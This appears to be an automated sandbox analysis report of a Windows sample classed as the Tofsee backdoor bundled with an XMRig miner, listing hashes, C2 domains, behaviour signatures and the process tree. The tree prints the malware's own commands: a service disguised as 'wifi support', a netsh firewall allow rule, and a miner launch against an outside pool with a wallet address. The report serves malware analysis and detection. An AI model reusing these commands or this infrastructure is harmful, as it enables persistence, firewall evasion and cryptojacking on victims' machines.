Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    05/11/2023, 20:15

General

  • Target

    file.exe

  • Size

    262KB

  • MD5

    4eadd492253268de6bdf2244b965b9e2

  • SHA1

    31f93a90a4bc07cd6728016b7abebec3098a6267

  • SHA256

    8d07d9769a61406fae89642f8345914024d18ab303a6a47658d242273aafdd32

  • SHA512

    697c0754429342519c4d861901b75ef422a8992c6c66f2b17f90e9cd14815d17d61853043e11e36114b5a2da88ce1ce0c19cc43e7fcf6e5a623134ebe44c94d5

  • SSDEEP

    6144:Jz+obugLoTNsdkzpuD/7ictZiYLzQ3Xk0TRp:Fwg+NsdklYji4zQ3R

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1940
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\piagdzzm\
      2⤵
        PID:2432
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\orohyauk.exe" C:\Windows\SysWOW64\piagdzzm\
        2⤵
          PID:2636
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create piagdzzm binPath= "C:\Windows\SysWOW64\piagdzzm\orohyauk.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2756
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description piagdzzm "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2616
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start piagdzzm
          2⤵
          • Launches sc.exe
          PID:2724
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2624
      • C:\Windows\SysWOW64\piagdzzm\orohyauk.exe
        C:\Windows\SysWOW64\piagdzzm\orohyauk.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2684
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2556
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1212

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\orohyauk.exe

              Filesize

              11.5MB

              MD5

              48da65d2ec3a50d1eac3461b57722660

              SHA1

              39b926d80ad86a167c1ad098436a96abfe04321e

              SHA256

              70ddf0200410ce2816e64b2df7a7ae77780b5bb5a9cfee647569b02152ae40ca

              SHA512

              b9546b8cb0518bc83a1a4eb0576add4cb743c49b22ec8b35f31cb76a296e59fffc3fb0d8a90873d6ebd134977f139212ee1d052fc0828e452a78035cd7511aad

            • C:\Windows\SysWOW64\piagdzzm\orohyauk.exe

              Filesize

              11.5MB

              MD5

              48da65d2ec3a50d1eac3461b57722660

              SHA1

              39b926d80ad86a167c1ad098436a96abfe04321e

              SHA256

              70ddf0200410ce2816e64b2df7a7ae77780b5bb5a9cfee647569b02152ae40ca

              SHA512

              b9546b8cb0518bc83a1a4eb0576add4cb743c49b22ec8b35f31cb76a296e59fffc3fb0d8a90873d6ebd134977f139212ee1d052fc0828e452a78035cd7511aad

            • memory/1212-76-0x00000000001D0000-0x00000000002C1000-memory.dmp

              Filesize

              964KB

            • memory/1212-73-0x00000000001D0000-0x00000000002C1000-memory.dmp

              Filesize

              964KB

            • memory/1212-62-0x00000000001D0000-0x00000000002C1000-memory.dmp

              Filesize

              964KB

            • memory/1212-63-0x00000000001D0000-0x00000000002C1000-memory.dmp

              Filesize

              964KB

            • memory/1212-67-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/1212-77-0x00000000001D0000-0x00000000002C1000-memory.dmp

              Filesize

              964KB

            • memory/1212-71-0x00000000001D0000-0x00000000002C1000-memory.dmp

              Filesize

              964KB

            • memory/1212-75-0x00000000001D0000-0x00000000002C1000-memory.dmp

              Filesize

              964KB

            • memory/1212-74-0x00000000001D0000-0x00000000002C1000-memory.dmp

              Filesize

              964KB

            • memory/1212-72-0x00000000001D0000-0x00000000002C1000-memory.dmp

              Filesize

              964KB

            • memory/1940-4-0x0000000000400000-0x00000000008A7000-memory.dmp

              Filesize

              4.7MB

            • memory/1940-1-0x0000000000230000-0x0000000000330000-memory.dmp

              Filesize

              1024KB

            • memory/1940-9-0x00000000003A0000-0x00000000003B3000-memory.dmp

              Filesize

              76KB

            • memory/1940-7-0x0000000000400000-0x00000000008A7000-memory.dmp

              Filesize

              4.7MB

            • memory/1940-2-0x00000000003A0000-0x00000000003B3000-memory.dmp

              Filesize

              76KB

            • memory/2556-38-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2556-46-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2556-27-0x0000000000110000-0x0000000000116000-memory.dmp

              Filesize

              24KB

            • memory/2556-30-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2556-33-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2556-34-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2556-35-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2556-36-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2556-37-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2556-23-0x00000000019B0000-0x0000000001BBF000-memory.dmp

              Filesize

              2.1MB

            • memory/2556-39-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2556-40-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2556-41-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2556-42-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2556-43-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2556-44-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2556-45-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2556-26-0x00000000019B0000-0x0000000001BBF000-memory.dmp

              Filesize

              2.1MB

            • memory/2556-47-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2556-48-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2556-49-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2556-50-0x0000000000210000-0x0000000000215000-memory.dmp

              Filesize

              20KB

            • memory/2556-53-0x0000000000210000-0x0000000000215000-memory.dmp

              Filesize

              20KB

            • memory/2556-54-0x0000000005A50000-0x0000000005E5B000-memory.dmp

              Filesize

              4.0MB

            • memory/2556-57-0x0000000005A50000-0x0000000005E5B000-memory.dmp

              Filesize

              4.0MB

            • memory/2556-58-0x0000000000260000-0x0000000000267000-memory.dmp

              Filesize

              28KB

            • memory/2556-21-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2556-20-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2556-18-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2556-19-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2556-12-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2556-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2556-15-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2684-16-0x0000000000400000-0x00000000008A7000-memory.dmp

              Filesize

              4.7MB

            • memory/2684-11-0x0000000000400000-0x00000000008A7000-memory.dmp

              Filesize

              4.7MB

            • memory/2684-10-0x0000000000A00000-0x0000000000B00000-memory.dmp

              Filesize

              1024KB